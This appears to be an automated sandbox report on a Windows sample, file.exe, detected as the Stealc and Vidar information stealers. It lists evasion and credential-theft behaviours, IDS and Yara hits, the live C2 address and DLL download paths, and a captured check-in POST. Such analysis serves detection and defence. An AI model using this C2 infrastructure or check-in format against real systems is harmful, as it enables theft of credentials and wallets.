Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1529359
MD5:	f7b370ed882a5055e32f2ef666b25499
SHA1:	dca352d76830c9485f8525e56d79d92775ac6e13
SHA256:	66c97b3eb38c117b3d12e4565208c7770d6fe6f6f27cc7ece301de201cd8332f
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6464 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F7B370ED882A5055E32F2EF666B25499)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2266687374.000000000085E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2040507876.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6464	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6464	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6464	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6464	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.ff0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T22:32:00.643453+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T22:32:00.643419+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T22:32:00.883872+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T22:32:02.270298+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T22:32:00.891111+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T22:31:59.344877+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T22:32:02.791617+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:08.404037+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:09.490247+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:10.195956+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:10.752728+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:12.500883+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-08T22:32:13.039570+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJKJJDBKEGIECAAECFHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 44 45 44 32 31 38 37 46 30 37 43 39 33 32 37 33 31 37 38 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4a 4a 44 42 4b 45 47 49 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="hwid"BDED2187F07C932731780------JKJKJJDBKEGIECAAECFHContent-Disposition: form-data; name="build"doma------JKJKJJDBKEGIECAAECFH--

Source: file.exe, 00000000.00000002.2266687374.000000000085E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll~
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllEGHJKECAAKJKEGIIE.
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dlls)
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dlll
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll3
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllAEHJJKEGDGHCGDAEG
Source: file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/5
Source: file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2146317869.00000000008EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php6
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php:
Source: file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php;.
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpB
Source: file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpC:
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpS_
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpV
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpX
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpj
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpm
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpn
Source: file.exe, 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phppe
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php~
Source: file.exe, 00000000.00000002.2266687374.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37id
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.1I
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2297152055.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: DGCBKECAKFBGCAKECGIE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/0x1024
Source: file.exe, 00000000.00000003.2218051645.000000002F6EF000.00000004.00000020.00020000.00000000.sdmp, FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
